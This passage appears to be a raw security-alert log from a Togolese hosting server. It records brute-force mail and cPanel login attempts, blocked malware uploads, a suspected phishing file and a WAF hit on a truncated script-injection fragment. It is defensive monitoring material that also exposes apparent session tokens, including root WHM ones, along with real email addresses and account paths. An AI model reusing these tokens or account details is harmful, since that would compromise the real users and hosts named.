47.128.121.113 - - [22/Jun/2026:08:27:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314329&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fasck-gagne-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782116825 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/asck-gagne-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - simtaya@cfpj.tg [06/22/2026:08:28:57 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: simtaya@cfpj.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.239.196.218
country_id: 6252001
description:
2026-06-22 08:29:19 dovecot_plain authenticator failed for H=218.196.239.35.bc.googleusercontent.com (rpm4a4akrrp08hgtgpn2tko4) [35.239.196.218]:57819: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 65.111.26.23
country_id: 2510769
domain: ekeasarl.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:edjatiapougloe||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-06-22 08:40:53 +0000] info [cpaneld] 196.171.122.34 NEW mvfxewjz:eperKZvAhF9czWjY address=196.171.122.34,app=cpaneld,creator=mvfxewjz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.219
country_id: 2635167
description:
[2026-06-22 08:43:27 +0000] info [cpaneld] 5.230.153.219 NEW zykoahbv:je6IektTjwWcmdTm address=5.230.153.219,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:08:42:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973027&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782117755 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-22 08:43:13 +0000] info [cpaneld] 5.230.153.154 NEW doufelg:Tb3lGD2siKvQrGl5 address=5.230.153.154,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.122
country_id: 2635167
description:
[2026-06-22 08:43:13 +0000] info [cpaneld] 5.230.153.122 NEW frtwilql:BGxHRfY_a5osXI5r address=5.230.153.122,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.240
country_id: 6252001
description:
[2026-06-22 08:43:18 +0000] info [cpaneld] 64.44.62.240 NEW newistm:K4xpSopLZs0CsJg1 address=64.44.62.240,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.52
country_id: 2635167
description:
[2026-06-22 08:43:23 +0000] info [cpaneld] 5.230.153.52 NEW hgfdcvbnk:tXNJOa4XURn2fRm5 address=5.230.153.52,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.164
country_id: 2635167
description:
[2026-06-22 08:43:22 +0000] info [cpaneld] 5.230.133.164 NEW hgfdcvbnk:Scd27cvdcivUFhAU address=5.230.133.164,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:08:42:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606300&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782117762 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.89
country_id: 2635167
description:
[2026-06-22 08:43:22 +0000] info [cpaneld] 5.230.133.89 NEW hgfdcvbnk:x4Eu7dFT9SnEqljp address=5.230.133.89,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.232
country_id: 6252001
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.711232435606501.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.236.175
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:194.180.236.175||TA:194.180.236.175||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.237.120.50
country_id: 99237
description:
2026-06-22 08:46:15 dovecot_plain authenticator failed for H=([69.172.210.47]) [212.237.120.50]:6664: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.83.114.174
country_id: 3469034
description:
2026-06-22 08:45:59 dovecot_plain authenticator failed for H=170-83-114-174.rev.gptelecom.com.br ([69.172.210.47]) [170.83.114.174]:6968: 535 Incorrect authentication data (set_id=marketing@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.140.248.243
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.140.248.243||TA:45.140.248.243||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.176.253.228
country_id: 2363686
description:
[2026-06-22 08:48:44 +0000] info [cpaneld] 102.176.253.228 NEW ucaouut:6yIyvhSIc0HcoUkT address=102.176.253.228,app=cpaneld,creator=ucaouut,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.99.229.136
country_id: 6252001
description:
2026-06-22 08:50:12 dovecot_login authenticator failed for H=(localhost.localdomain) [167.99.229.136]:12266: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:08:56:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7193758&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782118609 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:08:56:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777194&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782118592 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.111.127
country_id: 226074
description:
2026-06-22 09:00:22 dovecot_plain authenticator failed for H=(localhost) [102.209.111.127]:5995: 535 Incorrect authentication data (set_id=belmonde.zossou@mesyscom.com)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-22 09:02:13 +0000] info [whostmgrd] 80.248.64.198 NEW root:Tp7YbMSaYbtJdtgj address=80.248.64.198,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-22 09:01:59 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:60238: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 92.208.18.170
country_id: 2921044
description:
92.208.18.170 - - [22/Jun/2026:09:05:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793904&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-199003netid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782119153 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-199003netid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:92.208.18.170


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.237.185.106
country_id: 1269750
description:
2026-06-22 09:06:53 dovecot_plain authenticator failed for H=(localhost) [223.237.185.106]:58224: 535 Incorrect authentication data (set_id=agounkej@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.242.195.254
country_id: 3017382
description:
209.242.195.254 - - [22/Jun/2026:09:07:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919537&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fest-reelu-president%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782119270 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/est-reelu-president/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2773.1791 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.242.195.254


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.255.98.237
country_id: 2589581
description:
2026-06-22 09:08:48 dovecot_plain authenticator failed for H=(localhost) [154.255.98.237]:53039: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.222.218.8
country_id: 1269750
description:
2026-06-22 09:08:33 dovecot_plain authenticator failed for H=(localhost) [106.222.218.8]:30648: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.154
country_id: 1880251
description:
47.128.121.154 - - [22/Jun/2026:09:10:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301828&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fcandidat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782119415 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/candidat/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.154


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.185.143.156
country_id: 1269750
description:
2026-06-22 09:09:32 dovecot_plain authenticator failed for H=(localhost) [136.185.143.156]:61457: 535 Incorrect authentication data (set_id=agounkej@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.73.103.242
country_id: 1168579
description:
2026-06-22 09:11:30 dovecot_plain authenticator failed for H=static-host119-73-103-242.link.net.pk (localhost) [119.73.103.242]:27645: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.138.71.150
country_id: 3570311
description:
2026-06-22 09:12:48 dovecot_plain authenticator failed for H=(localhost) [95.138.71.150]:61519: 535 Incorrect authentication data (set_id=sotrane@sotranetogo.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:09:13:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792916&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782119616 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.154.138.103
country_id: 3017382
description:
45.154.138.103 - - [22/Jun/2026:09:13:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919834&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F17%252Fforum-2026-sur-les-fragilites-lutter-contre-le-terrorisme-et-lextremisme-violent-dr-sandra-ablamba-johnson-partage-la-strategie-structurante-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782119633 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/06/17/forum-2026-sur-les-fragilites-lutter-contre-le-terrorisme-et-lextremisme-violent-dr-sandra-ablamba-johnson-partage-la-strategie-structurante-du-togo/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.154.138.103


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:09:13:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001005&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782119607 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 190.140.180.158
country_id: 3703430
domain: www.snb.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/siteweb/public/index.php?add-to-cart=22866||QS:add-to-cart=22866||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.130.93.239
country_id: 6254930
description:
Jun 22 09:19:03 ns5 auth[2231571]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.130.93.239 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 170.199.228.133
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:170.199.228.133||TA:170.199.228.133||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 203.147.139.82
country_id: 1831722
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:203.147.139.82||TA:203.147.139.82||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.130.93.239
country_id: 6254930
description:
2026-06-22 09:19:05 dovecot_plain authenticator failed for H=(localhost) [95.130.93.239]:56877: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.123.202
country_id: 1269750
description:
Jun 22 09:20:34 ns5 auth[2231571]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.123.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-06-22 09:20:36 dovecot_plain authenticator failed for H=(uness) [182.95.123.202]:48672: 535 Incorrect authentication data (set_id=info@arse.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 114.119.154.26
country_id: 1880251
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/togo-jea-2022-une-journee-de-reflexion-pour-mieux-proteger-les-enfants/<script async src||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-22 09:24:01 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:54698: 535 Incorrect authentication data (set_id=alfonso)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 22 09:23:59 ns5 auth[2231571]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11019
name: WHM session loaded via API from external IP
abuser: 203.147.139.82
country_id: 1831722
description:
[2026-06-22 09:24:06 +0000] info [whostmgrd] 203.147.139.82 NEW root:W2xVVBLMjPcLRkdb address=203.147.139.82,app=whostmgrd,creator=root,method=handle_form_login,path=loadsession:root:xzqcrDNSNKwlkMI4:create_user_session,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 09:27:05 +0000] info [cpaneld] 103.65.237.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:09:27:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527130&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782120455 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.154
country_id: 1880251
description:
47.128.121.154 - - [22/Jun/2026:09:28:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947546&pdata=https%253A%252F%252Ftogomedia24.tg%252F2021%252F04%252F26%252Ffootball-classements-de-la-phase-aller-du-championnat-de-d1%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782120508 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2021/04/26/football-classements-de-la-phase-aller-du-championnat-de-d1/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.154


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.151.32
country_id: 2363686
description:
[2026-06-22 09:29:59 +0000] info [webmaild] 196.170.151.32 - ingersarlu@inger.tg "GET /cpsess9276504931/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 22 09:30:53 ns5.netmaster.tg cpanel_fileman_hook[2346290]: 0 BAILOUT malware detected when save 'a1.html' in /home/ucaouut/public_html/site/public/images/flags for user ucaouut


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 22 09:31:15 ns5 auth[2231571]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-22 09:31:17 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:49702: 535 Incorrect authentication data (set_id=gvb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 22 09:38:22 ns5 auth[2231571]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-22 09:38:24 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:60877: 535 Incorrect authentication data (set_id=cart)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:09:39:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002391&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Foga%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121157 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/oga/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.18.127.229
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:212.18.127.229||TA:212.18.127.229||


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 22 09:40:31 ns5.netmaster.tg cpanel_fileman_hook[2357718]: 0 BAILOUT malware detected when save 'a2.php' in /home/ucaouut/public_html/site/public/images/flags for user ucaouut


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.106.43.99
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/visite-du-ministre-allemand-de-la-cooperation-economique-et-du-developpement HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 22 09:42:07 ns5.netmaster.tg cpanel_fileman_hook[2358957]: 0 BAILOUT malware detected when save 'a3.php' in /home/ucaouut/public_html/site/public/images/flags for user ucaouut


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:09:43:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131816&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121383 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:09:42:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328779&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121378 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.153
country_id: 1880251
description:
47.128.121.153 - - [22/Jun/2026:09:42:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10183010&pdata=https%253A%252F%252Ftogomedia24.tg%252F2026%252F04%252F24%252Ffaure-gnassingbe-inaugure-de-nouvelles-infrastructures-universitaires-a-kara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121365 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2026/04/24/faure-gnassingbe-inaugure-de-nouvelles-infrastructures-universitaires-a-kara/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.153


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 22 09:45:19 ns5 auth[2360408]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.225.193.39
country_id: 1562822
description:
171.225.193.39 - - [22/Jun/2026:09:44:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6975384&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Ffetue-demarrage-des-travaux-dappui-aux-promoteurs-des-125-projets-retenus%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121482 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftogodailynews.tg%2Ffetue-demarrage-des-travaux-dappui-aux-promoteurs-des-125-projets-retenus%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.225.193.39


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.3.142
country_id: 2363686
description:
[2026-06-22 09:44:56 +0000] info [webmaild] 196.169.3.142 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-22 09:45:21 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:23284: 535 Incorrect authentication data (set_id=rose)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [22/Jun/2026:09:45:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143590&pdata=http%253A%252F%252Fwww.sinalcotg.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121500 HTTP/1.1" 302 0 www.sinalcotg.snb.tg "http://www.sinalcotg.snb.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
